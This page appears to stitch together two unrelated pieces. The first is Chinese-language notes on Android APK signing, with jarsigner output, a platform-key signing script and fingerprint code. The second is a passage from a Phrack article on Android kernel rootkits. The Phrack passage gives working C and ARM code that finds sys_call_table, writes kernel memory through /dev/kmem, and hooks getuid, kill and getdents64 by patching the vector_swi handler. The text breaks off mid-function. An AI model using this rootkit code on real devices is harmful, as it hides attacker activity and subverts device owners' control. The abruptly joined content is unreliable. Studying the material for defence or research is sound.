• Android Security


    Android Security

    确认签名

    Debug签名:

    $ jarsigner -verify  -certs -verbose  bin/TemplateGem.apk
    sm      2525 Sun Jun 02 23:44:06 CST 2013 assets/XmlPullParser
    
          X.509, CN=Android Debug, O=Android, C=US
          [证书的有效期为 12-10-10 下午9:48 至 42-10-3 下午9:48]
    ...
    sm    544036 Sun Jun 02 23:44:06 CST 2013 classes.dex
    
          X.509, CN=Android Debug, O=Android, C=US
          [证书的有效期为 12-10-10 下午9:48 至 42-10-3 下午9:48]
    
            6508 Sun Jun 02 23:44:06 CST 2013 META-INF/MANIFEST.MF
            6561 Sun Jun 02 23:44:06 CST 2013 META-INF/CERT.SF
             776 Sun Jun 02 23:44:06 CST 2013 META-INF/CERT.RSA
    
      s = 已验证签名 
      m = 在清单中列出条目
      k = 在密钥库中至少找到了一个证书
      i = 在身份作用域内至少找到了一个证书
    
    jar 已验证。
    

    第三方系统签名:

    $ jarsigner -verify  -certs -verbose  SettingsProvider.apk
             379 Wed Jun 22 22:25:12 CST 2011 META-INF/MANIFEST.MF
             421 Wed Jun 22 22:25:12 CST 2011 META-INF/CERT.SF
            1772 Wed Jun 22 22:25:12 CST 2011 META-INF/CERT.RSA
    sm      1864 Wed Jun 22 22:25:12 CST 2011 AndroidManifest.xml
    
          X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
          [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
    
    sm      6688 Wed Jun 22 22:25:12 CST 2011 res/drawable-hdpi/ic_launcher_settings.png
    
          X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
          [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
    
    sm      1360 Wed Jun 22 22:25:12 CST 2011 res/xml/bookmarks.xml
    
          X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
          [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
    
    sm     12900 Wed Jun 22 22:25:12 CST 2011 resources.arsc
    
          X.509, EMAILADDRESS=android.os@samsung.com, CN=Samsung Cert, OU=DMC, O=Samsung Corporation, L=Suwon City, ST=South Korea, C=KR
          [证书的有效期为 11-6-22 下午8:25 至 38-11-7 下午8:25]
    
    
      s = 已验证签名 
      m = 在清单中列出条目
      k = 在密钥库中至少找到了一个证书
      i = 在身份作用域内至少找到了一个证书
    
    jar 已验证
    

    使用系统签名

    1. 在编译环境下, 修改Android.mk
      LOCAL_CERTIFICATE := platform
      
    1. 脚本签名
      #!/bin/sh
      ANDROID_HOME=''
      PEM=${ANDROID_HOME}/build/target/product/security/platform.x509.pem
      PK8=${ANDROID_HOME}/build/target/product/security/platform.pk8
      
      if [ $# -ne 2 ]
      then
          echo Usage $0 in.apk out.apk
          exit 1
      fi
      java -jar ${ANDROID_HOME}/out/host/linux-x86/framework/signapk.jar ${PEM} ${PK8} $1 $2
      

    计算证书摘要信息

    public static String getPackageCertFingerprint(PackageManager pm, String packageName) {
            int flags = PackageManager.GET_SIGNATURES;
    
            PackageInfo packageInfo = null;
            try {
                packageInfo = pm.getPackageInfo(packageName, flags);
            } catch (NameNotFoundException e) {
                e.printStackTrace();
            }
            Signature[] signatures = packageInfo.signatures;
            if (signatures == null) {
                return "-";
            }
    
            byte[] cert = signatures[0].toByteArray();
    
            InputStream input = new ByteArrayInputStream(cert);
    
            CertificateFactory cf = null;
            try {
                cf = CertificateFactory.getInstance("X509");
            } catch (CertificateException e) {
                e.printStackTrace();
            }
            X509Certificate c = null;
            try {
                c = (X509Certificate) cf.generateCertificate(input);
            } catch (CertificateException e) {
                e.printStackTrace();
            }
    
            StringBuffer hexString = new StringBuffer();
            try {
                MessageDigest md = MessageDigest.getInstance("SHA1");
                byte[] publicKey = md.digest(c.getPublicKey().getEncoded());
                for (int i = 0; i < publicKey.length; i++) {
                    String appendString = Integer.toHexString(0xFF & publicKey[i]);
                    if (appendString.length() == 1)
                        hexString.append("0");
                    hexString.append(appendString);
                }
            } catch (NoSuchAlgorithmException e1) {
                e1.printStackTrace();
            }
            return hexString.toString();
        }
    

    获取平台证书的摘要

        public static String getCertFingerprintsBySharedUid(PackageManager pm, String uid) {
            List<PackageInfo> xs = pm.getInstalledPackages(PackageManager.GET_PERMISSIONS | PackageManager.GET_SIGNATURES);
            String digest;
    
            for (PackageInfo x : xs) {
                if (!TextUtils.isEmpty(x.sharedUserId) && x.sharedUserId.equalsIgnoreCase(uid)) {
                    if (x.signatures != null) {
                        digest = getPackageCertFingerprint(pm, x.packageName);
                        return digest;
                    }
                }
            }
    
            return "";
        }
    ...
        String platformCertDigest = getCertFingerprintsBySharedUid(mPm, "android.uid.system");
    
           ==Phrack Inc.==
    
                    Volume 0x0e, Issue 0x44, Phile #0x06 of 0x13
    
    |=-----------------------------------------------------------------------=|
    |=-----------=[ Android platform based linux kernel rootkit ]=-----------=|
    |=-----------------------------------------------------------------------=|
    |=-----------------=[ dong-hoon you <x82@inetcop.org> ]=-----------------=|
    |=------------------------=[ April 04th 2011 ]=--------------------------=|
    |=-----------------------------------------------------------------------=|
    
    --[ Contents
    
      1 - Introduction
    
      2 - Basic techniques for hooking
        2.1 - Searching sys_call_table
        2.2 - Identifying sys_call_table size
        2.3 - Getting over the problem of structure size in kernel versions
        2.4 - Treating version magic
    
      3 - sys_call_table hooking through /dev/kmem access technique
    
      4 - modifying sys_call_table handle code in vector_swi handler routine
    
      5 - exception vector table modifying hooking techniques
        5.1 - exception vector table
        5.2 - Hooking techniques changing vector_swi handler
        5.3 - Hooking techniques changing branch instruction offset
    
      6 - Conclusion
    
      7 - References
    
      8 - Appendix: earthworm.tgz.uu
    
    
    --[ 1 - Introduction
    
    This paper covers rootkit techniques that can be used in linux kernel based
    on Android platform using ARM(Advanced RISC Machine) process. All the tests
    in this paper were performed in Motoroi XT720 model(2.6.29-omap1 kernel)
    and Galaxy S SHW-M110S model(2.6.32.9 kernel). Note that some contents may
    not apply to all smart platform machines and there are some bugs you can
    modify.
    
    We have seen various linux kernel hooking techniques of some pioneers([1]
    [2][3][4][5]). Especially, I appreciate to Silvio Cesare and sd who
    introduced and developed the /dev/kmem technique. Read the references for
    more information.
    
    In this paper, we are going to discuss a few hooking techniques.
    
    	1. Simple and traditional hooking technique using kmem device.
    	2. Traditional hooking technique changing sys_call_table offset in
    	   vector_swi handler.
    	3. Two newly developed hooking techniques changing interrupt
    	   service routine handler in exception vector table.
    
    The main concepts of the techniques mentioned in this paper are 'smart' and
    'simple'. This is because this paper focuses on hooking through modifying
    the least kernel memory and by the simplest way. As the past good
    techniques were, hooking must be possible freely before and after system
    call.
    
    This paper consists of eight parts and I tried to supply various examples
    for readers' convenience by putting abundant appendices. The example codes
    are written for ARM architecture, but if you modify some parts, you can use
    them in the environment of ia32 architecture and even in the environment
    that doesn't support LKM.
    
    
    --[ 2 - Basic techniques for hooking
    
    sys_call_table is a table which stores the addresses of low-level system
    routines. Most of classical hooking techniques interrupt the sys_call_table
    for some purposes. Because of this, some protection techniques such as
    hiding symbol and moving to the field of read-only have been adapted to
    protect sys_call_table from attackers. These protections, however,
    can be easily removed if an attacker uses kmem device access technique.
    To discuss other techniques making protection useless is beyond the purpose
    of this paper.
    
    
    --[ 2.1 - Searching sys_call_table
    
    If sys_call_table symbol is not exported and there is no sys_call_table
    information in kallsyms file which contains kernel symbol table
    information, it will be difficult to get the sys_call_table address that
    varies on each version of platform kernel. So, we need to research the way
    to get the address of sys_call_table without symbol table information.
    
    You can find the similar techniques in the web[10], but apart from this,
    this paper is written to meet the Android platform on the way of testing.
    
    
    --[ 2.1.1 - Getting sys_call_table address in vector_swi handler
    
    At first, I will introduce the first two ways to get sys_call_table address
    The code I will introduce here is written dependently in the interrupt
    implementation of ARM process.
    
    Generally, in the case of ARM process, when interrupt or exception happens,
    it branches to the exception vector table. In that exception vector table,
    there are exception hander addresses that match each exception handler
    routines. The kernel of present Android platform uses high vector
    (0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4
    byte instruction to branch to the software interrupt handler. When the
    instruction runs, the address of the software interrupt handler stored in
    the address 0xffff0420, offset by 0x420, is called. See the section 5.1 for
    more information.
    
    void get_sys_call_table(){
    	void *swi_addr=(long *)0xffff0008;
    	unsigned long offset=0;
    	unsigned long *vector_swi_addr=0;
    	unsigned long sys_call_table=0;
    
    	offset=((*(long *)swi_addr)&0xfff)+8;
    	vector_swi_addr=*(unsigned long *)(swi_addr+offset);
    
    	while(vector_swi_addr++){
    		if(((*(unsigned long *)vector_swi_addr)&
    		0xfffff000)==0xe28f8000){
    			offset=((*(unsigned long *)vector_swi_addr)&
    			0xfff)+8;
    			sys_call_table=(void *)vector_swi_addr+offset;
    			break;
    		}
    	}
    	return;
    }
    
    At first, this code gets the address of vector_swi routine(software
    interrupt process exception handler) in the exception vector table of high
    vector and then, gets the address of a code that handles the
    sys_call_table address. The followings are some parts of vector_swi handler
    code.
    
    000000c0 <vector_swi>:
        c0: e24dd048 sub     sp, sp, #72     ; 0x48 (S_FRAME_SIZE)
        c4: e88d1fff stmia   sp, {r0 - r12}  ; Calling r0 - r12
        c8: e28d803c add     r8, sp, #60     ; 0x3c (S_PC)
        cc: e9486000 stmdb   r8, {sp, lr}^   ; Calling sp, lr
        d0: e14f8000 mrs     r8, SPSR        ; called from non-FIQ mode, so ok.
        d4: e58de03c str     lr, [sp, #60]   ; Save calling PC
        d8: e58d8040 str     r8, [sp, #64]   ; Save CPSR
        dc: e58d0044 str     r0, [sp, #68]   ; Save OLD_R0
        e0: e3a0b000 mov     fp, #0  ; 0x0   ; zero fp
        e4: e3180020 tst     r8, #32 ; 0x20  ; this is SPSR from save_user_regs
        e8: 12877609 addne   r7, r7, #9437184; put OS number in
        ec: 051e7004 ldreq   r7, [lr, #-4]
        f0: e59fc0a8 ldr     ip, [pc, #168]  ; 1a0 <__cr_alignment>
        f4: e59cc000 ldr     ip, [ip]
        f8: ee01cf10 mcr     15, 0, ip, cr1, cr0, {0} ; update control register
        fc: e321f013 msr     CPSR_c, #19     ; 0x13 enable_irq
       100: e1a096ad mov     r9, sp, lsr #13 ; get_thread_info tsk
       104: e1a09689 mov     r9, r9, lsl #13
    [*]108: e28f8094 add     r8, pc, #148    ; load syscall table pointer
       10c: e599c000 ldr     ip, [r9]        ; check for syscall tracing
    
    The asterisk part is the code of sys_call_table. This code notifies the
    start of sys_call_table at the appointed offset from the present pc
    address. So, we can get the offset value to figure out the position of
    sys_call_table if we can find opcode pattern corresponding to "add r8, pc"
    instruction.
    
    opcode: 0xe28f8???
    
    if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){
    	offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8;
    	sys_call_table=(void *)vector_swi_addr+offset;
    	break;
    
    From this, we can get the address of sys_call_table handled in
    vector_swi handler routine. And there is an easier way to do this.
    
    
    --[ 2.1.2 - Finding sys_call_table addr through sys_close addr searching
    
    The second way to get the address of sys_call_table is simpler than the way
    introduced in 2.1.1. This way is to find the address by using the fact that
    sys_close address, with open symbol, is in 0x6 offset from the starting
    point of sys_call_table.
    
    ... the same vector_swi address searching routine parts omitted ...
    
    	while(vector_swi_addr++){
    		if(*(unsigned long *)vector_swi_addr==&sys_close){
    			sys_call_table=(void *)vector_swi_addr-(6*4);
    			break;
    		}
    	}
    }
    
    By using the fact that sys_call_table resides after vector_swi handler
    address, we can search the sys_close which is appointed as the sixth system
    call of sys_table_call.
    
    fs/open.c:
    EXPORT_SYMBOL(sys_close);
    ...
    
    call.S:
    /* 0 */		CALL(sys_restart_syscall)
    		CALL(sys_exit)
    		CALL(sys_fork_wrapper)
    		CALL(sys_read)
    		CALL(sys_write)
    /* 5 */		CALL(sys_open)
    		CALL(sys_close)
    
    This searching way has a technical disadvantage that we must get the
    sys_close kernel symbol address beforehand if it's implemented in user
    mode.
    
    
    --[ 2.2 - Identifying sys_call_table size
    
    The hooking technique which will be introduced in section 4 changes the
    sys_call_table handle code within vector_swi handler. It generates the copy
    of the existing sys_call_table in the heap memory. Because the size of
    sys_call_table varies in each platform kernel version, we need a precise
    size of sys_call_table to generate a copy.
    
    ... the same vector_swi address searching routine parts omitted ...
    
    	while(vector_swi_addr++){
    		if(((*(unsigned long *)vector_swi_addr)&
    		0xffff0000)==0xe3570000){
    			i=0x10-(((*(unsigned long *)vector_swi_addr)&
    			0xff00)>>8);
    			size=((*(unsigned long *)vector_swi_addr)&
    			0xff)<<(2*i);
    			break;
    		}
    	}
    }
    
    This code searches code which controls the size of sys_call_table within
    vector_swi routine and then gets the value, the size of sys_call_table.
    The following code determines the size of sys_call_table, and it makes a
    part of a function that calls system call saved in sys_call_table.
    
       118: e92d0030 stmdb   sp!, {r4, r5}   ; push fifth and sixth args
       11c: e31c0c01 tst     ip, #256        ; are we tracing syscalls?
       120: 1a000008 bne     148 <__sys_trace>
    [*]124: e3570f5b cmp     r7, #364        ; check upper syscall limit
       128: e24fee13 sub     lr, pc, #304    ; return address
       12c: 3798f107 ldrcc   pc, [r8, r7, lsl #2] ; call sys_* routine
    
    The asterisk part compares the size of sys_call_table. This code checks if
    the r7 register value which contains system call number is bigger than
    syscall limit. So, if we search opcode pattern(0xe357????) corresponding to
    "cmp r7", we can get the exact size of sys_call_table. For your
    information, all of the offset values can be obtained by using ARM
    architecture operand counting method.
    
    
    --[ 2.3 - Getting over the problem of structure size in kernel versions
    
    Even if you are using the same version of kernels, the size of structure
    varies according to the compile environments and config options. Thus, if
    we use a wrong structure with a wrong size, it is not likely to work as we
    expect. To prevent errors caused by the difference of structure offset and
    to enable our code to work in various kernel environments, we need to build
    a function which gets the offset needed from the structure.
    
    void find_offset(void){
    	unsigned char *init_task_ptr=(char *)&init_task;
    	int offset=0,i;
    	char *ptr=0;
    
    	/* getting the position of comm offset
    	   within task_struct structure */
    	for(i=0;i<0x600;i++){
    		if(init_task_ptr[i]=='s'&&init_task_ptr[i+1]=='w'&&
    		init_task_ptr[i+2]=='a'&&init_task_ptr[i+3]=='p'&&
    		init_task_ptr[i+4]=='p'&&init_task_ptr[i+5]=='e'&&
    		init_task_ptr[i+6]=='r'){
    			comm_offset=i;
    			break;
    		}
    	}
    	/* getting the position of tasks.next offset
    	   within task_struct structure */
    	init_task_ptr+=0x50;
    	for(i=0x50;i<0x300;i+=4,init_task_ptr+=4){
    		offset=*(long *)init_task_ptr;
    		if(offset&&offset>0xc0000000){
    			offset-=i;
    			offset+=comm_offset;
    			if(strcmp((char *)offset,"init")){
    				continue;
    			} else {
    				next_offset=i;
    
    				/* getting the position of parent offset
    				   within task_struct structure */
    				for(;i<0x300;i+=4,init_task_ptr+=4){
    					offset=*(long *)init_task_ptr;
    					if(offset&&offset>0xc0000000){
    						offset+=comm_offset;
    						if(strcmp
    						((char *)offset,"swapper"))
    						{
    							continue;
    						} else {
    							parent_offset=i+4;
    							break;
    						}
    					}
    				}
    				break;
    			}
    		}
    	}
    	/* getting the position of cred offset
    	   within task_struct structure */
    	init_task_ptr=(char *)&init_task;
    	init_task_ptr+=comm_offset;
    	for(i=0;i<0x50;i+=4,init_task_ptr-=4){
    		offset=*(long *)init_task_ptr;
    		if(offset&&offset>0xc0000000&&offset<0xd0000000&&
    			offset==*(long *)(init_task_ptr-4)){
    			ptr=(char *)offset;
    			if(*(long *)&ptr[4]==0&&
    				*(long *)&ptr[8]==0&&
    				*(long *)&ptr[12]==0&&
    				*(long *)&ptr[16]==0&&
    				*(long *)&ptr[20]==0&&
    				*(long *)&ptr[24]==0&&
    				*(long *)&ptr[28]==0&&
    				*(long *)&ptr[32]==0){
    				cred_offset=i;
    				break;
    			}
    		}
    	}
    	/* getting the position of pid offset
    	   within task_struct structure */
    	pid_offset=parent_offset-0xc;
    
    	return;
    }
    
    This code gets the information of PCB(process control block) using some
    features that can be used as patterns of task_struct structure.
    
    First, we need to search init_task for the process name "swapper" to find
    out address of "comm" variable within task_struct structure created before
    init process. Then, we search for "next" pointer from "tasks" which is a
    linked list of process structure. Finally, we use "comm" variable to figure
    out whether the process has a name of "init". If it does, we get the offset
    address of "next" pointer.
    
    include/linux/sched.h:
    struct task_struct {
    ...
    	struct list_head tasks;
    ...
    	pid_t pid;
    ...
    	struct task_struct *real_parent; /* real parent process */
    	struct task_struct *parent; /* recipient of SIGCHLD,
    					wait4() reports */
    ...
    	const struct cred *real_cred; /* objective and
    					real subjective task
    					* credentials (COW) */
    	const struct cred *cred; /* effective (overridable)
    					subjective task */
    	struct mutex cred_exec_mutex; /* execve vs ptrace cred
    					calculation mutex */
    
    	char comm[TASK_COMM_LEN]; /* executable name ... */
    
    After this, we get the parent pointer by checking some pointers. And if
    this is a right parent pointer, it has the name of previous task(init_task)
    process, swapper. The reason we search the address of parent pointer is to
    get the offset of pid variable by using a parent offset as a base point.
    
    To get the position of cred structure pointer related with task privilege,
    we perform backward search from the point of comm variable and check if the
    id of each user is 0.
    
    
    --[ 2.4 - Treating version magic
    
    Check the whitepaper[11] of Christian Papathanasiou and Nicholas J. Percoco
    in Defcon 18. The paper introduces the way of treating version magic by
    modifying the header of utsrelease.h when we compile LKM rootkit module.
    In fact, I have used a tool which overwrites the vermagic value of compiled
    kernel module binary directly before they presented.
    
    
    --[ 3 - sys_call_table hooking through /dev/kmem access technique
    
    I hope you take this section as a warming-up. If you want to know more
    detailed background knowledge about /dev/kmem access technique, check the
    "Run-time kernel patching" by Silvio and "Linux on-the-fly kernel patching
    without LKM" by sd.
    
    At least until now, the root privilege of access to /dev/kmem device within
    linux kernel in Android platform is allowed. So, it is possible to move
    through lseek() and to read through read(). Newly written /dev/kmem access
    routines are as follows.
    
    #define MAP_SIZE 4096UL
    #define MAP_MASK (MAP_SIZE - 1)
    
    int kmem;
    
    /* read data from kmem */
    void read_kmem(unsigned char *m,unsigned off,int sz)
    {
            int i;
            void *buf,*v_addr;
    
            if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
    	MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
                    perror("read: mmap error");
                    exit(0);
            }
            for(i=0;i<sz;i++){
                    v_addr=buf+(off&MAP_MASK)+i;
                    m[i]=*((unsigned char *)v_addr);
            }
            if(munmap(buf,MAP_SIZE*2)==-1){
                    perror("read: munmap error");
                    exit(0);
            }
    	return;
    }
    
    /* write data to kmem */
    void write_kmem(unsigned char *m,unsigned off,int sz)
    {
            int i;
            void *buf,*v_addr;
    
            if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE,
    	MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){
                    perror("write: mmap error");
                    exit(0);
            }
            for(i=0;i<sz;i++){
                    v_addr=buf+(off&MAP_MASK)+i;
                    *((unsigned char *)v_addr)=m[i];
            }
            if(munmap(buf,MAP_SIZE*2)==-1){
                    perror("write: munmap error");
                    exit(0);
            }
    	return;
    }
    
    This code makes the kernel memory address we want shared with user memory
    area as much as the size of two pages and then we can read and write the
    kernel by reading and writing on the shared memory. Even though the
    searched sys_call_table is allocated in read-only area, we can simply
    modify the contents of sys_call_table through /dev/kmem access technique.
    The example of hooking through sys_call_table modification is as follows.
    
    kmem=open("/dev/kmem",O_RDWR|O_SYNC);
    if(kmem<0){
    	return 1;
    }
    ...
    if(c=='I'||c=='i'){ /* install */
    	addr_ptr=(char *)get_kernel_symbol("hacked_getuid");
    	write_kmem((char *)&addr_ptr,addr+__NR_GETUID*4,4);
    	addr_ptr=(char *)get_kernel_symbol("hacked_writev");
    	write_kmem((char *)&addr_ptr,addr+__NR_WRITEV*4,4);
    	addr_ptr=(char *)get_kernel_symbol("hacked_kill");
    	write_kmem((char *)&addr_ptr,addr+__NR_KILL*4,4);
    	addr_ptr=(char *)get_kernel_symbol("hacked_getdents64");
    	write_kmem((char *)&addr_ptr,addr+__NR_GETDENTS64*4,4);
    } else if(c=='U'||c=='u'){ /* uninstall */
    	...
    }
    close(kmem);
    
    The attack code can be compiled in the mode of LKM module and general ELF32
    executable file format.
    
    
    --[ 4 - modifying sys_call_table handle code in vector_swi handler routine
    
    The techniques introduced in section 3 are easily detected by rootkit
    detection tools. So, some pioneers have researched the ways which modify
    some parts of exception handler function processing software interrupt.
    The technique introduced in this section generates a copy version of
    sys_call_table in kernel heap memory without modifying the
    sys_call_table directly.
    
    static void *hacked_sys_call_table[500];
    static void **sys_call_table;
    int sys_call_table_size;
    ...
    
    int init_module(void){
    ...
    	get_sys_call_table(); // position and size of sys_call_table
    	memcpy(hacked_sys_call_table,sys_call_table,sys_call_table_size*4);
    
    After generating this copy version, we have to modify some parts of
    sys_call_table processed within vector_swi handler routine. It is because
    sys_call_table is handled as a offset, not an address. It is a feature that
    separates ARM architecture from ia32 architecture.
    
    code before compile:
    ENTRY(vector_swi)
    ...
    	get_thread_info tsk
    	adr     tbl, sys_call_table ; load syscall table pointer
    	~~~~~~~~~~~~~~~~~~~~~~~~~~~ -> code of sys_call_table
    	ldr     ip, [tsk, #TI_FLAGS] ; @ check for syscall tracing
    
    code after compile:
    000000c0 <vector_swi>:
    ...
       100: e1a096ad mov     r9, sp, lsr #13 ; get_thread_info tsk
       104: e1a09689 mov     r9, r9, lsl #13
    [*]108: e28f8094 add     r8, pc, #148    ; load syscall table pointer
                     ~~~~~~~~~~~~~~~~~~~~
                     +-> deal sys_call_table as relative offset
       10c: e599c000 ldr     ip, [r9]        ; check for syscall tracing
    
    So, I contrived a hooking technique modifying "add r8, pc, #offset" code
    itself like this.
    
    before modifying: e28f80??	add     r8, pc, #??
    after  modifying: e59f80??	ldr     r8, [pc, #??]
    
    These instructions get the address of sys_call_table at the specified
    offset from the present pc address and then store it in r8 register. As a
    result, the address of sys_call_table is stored in r8 register. Now, we
    have to make a separated space to store the address of sys_call_table copy
    near the processing routine. After some consideration, I decided to
    overwrite nop code of other function's epilogue near vector_swi handler.
    
    00000174 <__sys_trace_return>:
       174: e5ad0008 str     r0, [sp, #8]!
       178: e1a02007 mov     r2, r7
       17c: e1a0100d mov     r1, sp
       180: e3a00001 mov     r0, #1  ; 0x1
       184: ebfffffe bl      0 <syscall_trace>
       188: eaffffb1 b       54 <ret_to_user>
    [*]18c: e320f000 nop     {0}
            ~~~~~~~~ -> position to overwrite the copy of sys_call_table
       190: e320f000 nop     {0}
            ...
    
      000001a0 <__cr_alignment>:
       1a0: 00000000                                ....
    
      000001a4 <sys_call_table>:
    
    Now, if we count the offset from the address of sys_call_table to the
    address overwritten with the address of sys_call_table copy and then modify
    code, we can use the table we copied whenever system call is called. The
    hooking code modifying some parts of vector_swi handling routine and nop
    code near the address of sys_call_table is as follows:
    
    void install_hooker(){
    	void *swi_addr=(long *)0xffff0008;
    	unsigned long offset=0;
    	unsigned long *vector_swi_addr=0,*ptr;
    	unsigned char buf[MAP_SIZE+1];
    	unsigned long modify_addr1=0;
    	unsigned long modify_addr2=0;
    	unsigned long addr=0;
    	char *addr_ptr;
    
    	offset=((*(long *)swi_addr)&0xfff)+8;
    	vector_swi_addr=*(unsigned long *)(swi_addr+offset);
    
    	memset((char *)buf,0,sizeof(buf));
    	read_kmem(buf,(long)vector_swi_addr,MAP_SIZE);
    	ptr=(unsigned long *)buf;
    
    	/* get the address of ldr that handles sys_call_table */
    	while(ptr){
    		if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){
    			modify_addr1=(unsigned long)vector_swi_addr;
    			break;
    		}
    		ptr++;
    		vector_swi_addr++;
    	}
    	/* get the address of nop that will be overwritten */
    	while(ptr){
    		if(*(unsigned long *)ptr==0xe320f000){
    			modify_addr2=(unsigned long)vector_swi_addr;
    			break;
    		}
    		ptr++;
    		vector_swi_addr++;
    	}
    
    	/* overwrite nop with hacked_sys_call_table */
    	addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table");
    	write_kmem((char *)&addr_ptr,modify_addr2,4);
    
    	/* calculate fake table offset */
    	offset=modify_addr2-modify_addr1-8;
    
    	/* change sys_call_table offset into fake table offset */
    	addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */
    	addr_ptr=(char *)addr;
    	write_kmem((char *)&addr_ptr,modify_addr1,4);
    
    	return;
    }
    
    This code gets the address of the code that handles sys_call_table within
    vector_swi handler routine, and then finds nop code around and stores the
    address of hacked_sys_call_table which is a copy version of sys_call_table.
    After this, we get the sys_call_table handle code from the offset in which
    hacked_sys_call_table resides and then hooking starts.
    
    
    --[ 5 - exception vector table modifying hooking techniques
    
    This section discusses two hooking techniques, one is the hooking technique
    which changes the address of software interrupt exception handler routine
    within exception vector table and the other is the technique which changes
    the offset of code branching to vector_swi handler. The purpose of these
    two techniques is to implement the hooking technique that modifies only
    exception vector table without changing sys_call_table and vector_swi
    handler.
    
    
    --[ 5.1 - exception vector table
    
    Exception vector table contains the address of various exception handler
    routines, branch code array and processing codes to call the exception
    handler routine. These are declared in entry-armv.S, copied to the point of
    the high vector(0xffff0000) by early_trap_init() routine within traps.c
    code, and make one exception vector table.
    
    traps.c:
    void __init early_trap_init(void)
    {
    	unsigned long vectors = CONFIG_VECTORS_BASE; /* 0xffff0000 */
    	extern char __stubs_start[], __stubs_end[];
    	extern char __vectors_start[], __vectors_end[];
    	extern char __kuser_helper_start[], __kuser_helper_end[];
    	int kuser_sz = __kuser_helper_end - __kuser_helper_start;
    
    	/*
    	 * Copy the vectors, stubs and kuser helpers
    	(in entry-armv.S)
    	 * into the vector page, mapped at 0xffff0000,
    	and ensure these
    	 * are visible to the instruction stream.
    	 */
    	memcpy((void *)vectors, __vectors_start,
    	__vectors_end - __vectors_start);
    	memcpy((void *)vectors + 0x200, __stubs_start,
    	__stubs_end - __stubs_start);
    
    After the processing codes are copied in order by early_trap_init()
    routine, the exception vector table is initialized, then one exception
    vector table is made as follows.
    
    # ./coelacanth -e
    [000] ffff0000: ef9f0000 [Reset]          ; svc 0x9f0000 branch code array
    [004] ffff0004: ea0000dd [Undef]          ; b   0x380
    [008] ffff0008: e59ff410 [SWI]            ; ldr pc, [pc, #1040] ; 0x420
    [00c] ffff000c: ea0000bb [Abort-perfetch] ; b   0x300
    [010] ffff0010: ea00009a [Abort-data]     ; b   0x280
    [014] ffff0014: ea0000fa [Reserved]       ; b   0x404
    [018] ffff0018: ea000078 [IRQ]            ; b   0x608
    [01c] ffff001c: ea0000f7 [FIQ]            ; b   0x400
    [020] Reserved
    ... skip ...
    [22c] ffff022c: c003dbc0 [__irq_usr] ; exception handler routine addr array
    [230] ffff0230: c003d920 [__irq_invalid]
    [234] ffff0234: c003d920 [__irq_invalid]
    [238] ffff0238: c003d9c0 [__irq_svc]
    [23c] ffff023c: c003d920 [__irq_invalid]
    ...
    [420] ffff0420: c003df40 [vector_swi]
    
    When software interrupt occurs, 4 byte instruction at 0xffff0008 is
    executed. The code copies the present pc to the address of exception
    handler and then branches. In other words, it branches to the vector_swi
    handler routine at 0x420 of exception vector table.
    
    
    --[ 5.2 - Hooking techniques changing vector_swi handler
    
    The hooking technique changing the vector_swi handler is the first one that
    will be introduced. It changes the address of exception handler routine
    that processes software interrupt within exception vector table and calls
    the vector_swi handler routine forged by an attacker.
    
    	1. Generate the copy version of sys_call_table in kernel heap and
    	   then change the address of routine as aforementioned.
    	2. Copy not all vector_swi handler routine but the code before
    	   handling sys_call_table to kernel heap for simple hooking.
    	3. Fill the values with right values for the copied fake vector_swi
    	   handler routine to act normally and change the code to call the
    	   address of sys_call_table copy version. (generated in step 1)
    	4. Jump to the next position of sys_call_table handle code of
    	   original vector_swi handler routine.
    	5. Change the address of vector_swi handler routine of exception
    	   vector table to the address of fake vector_swi handler code.
    
    The completed fake vector_swi handler has a code like following.
    
    00000000 <new_vector_swi>:
        00: e24dd048 sub     sp, sp, #72     ; 0x48
        04: e88d1fff stmia   sp, {r0 - r12}
        08: e28d803c add     r8, sp, #60     ; 0x3c
        0c: e9486000 stmdb   r8, {sp, lr}^
        10: e14f8000 mrs     r8, SPSR
        14: e58de03c str     lr, [sp, #60]
        18: e58d8040 str     r8, [sp, #64]
        1c: e58d0044 str     r0, [sp, #68]
        20: e3a0b000 mov     fp, #0  ; 0x0
        24: e3180020 tst     r8, #32 ; 0x20
        28: 12877609 addne   r7, r7, #9437184
        2c: 051e7004 ldreq   r7, [lr, #-4]
     [*]30: e59fc020 ldr     ip, [pc, #32]  ; 0x58 <__cr_alignment>
        34: e59cc000 ldr     ip, [ip]
        38: ee01cf10 mcr     15, 0, ip, cr1, cr0, {0}
        3c: f1080080 cpsie   i
        40: e1a096ad mov     r9, sp, lsr #13
        44: e1a09689 mov     r9, r9, lsl #13
     [*]48: e59f8000 ldr     r8, [pc, #0]
     [*]4c: e59ff000 ldr     pc, [pc, #0]
     [*]50: <hacked_sys_call_table address>
     [*]54: <vector_swi address to jmp>
     [*]58: <__cr_alignment routine address referring at 0x30>
    
    The asterisk parts are the codes modified or added to the original code. In
    addition to the part that we modified to make the code refer __cr_alignment
    function, I added some instructions to save address of sys_call_table copy
    version to r8 register, and jump back to the original vector_swi handler
    function. Following is the attack code written as a kernel module.
    
    static unsigned char new_vector_swi[500];
    ...
    
    void make_new_vector_swi(){
    	void *swi_addr=(long *)0xffff0008;
    	void *vector_swi_ptr=0;
    	unsigned long offset=0;
    	unsigned long *vector_swi_addr=0,orig_vector_swi_addr=0;
    	unsigned long add_r8_pc_addr=0;
    	unsigned long ldr_ip_pc_addr=0;
    	int i;
    
    	offset=((*(long *)swi_addr)&0xfff)+8;
    	vector_swi_addr=*(unsigned long *)(swi_addr+offset);
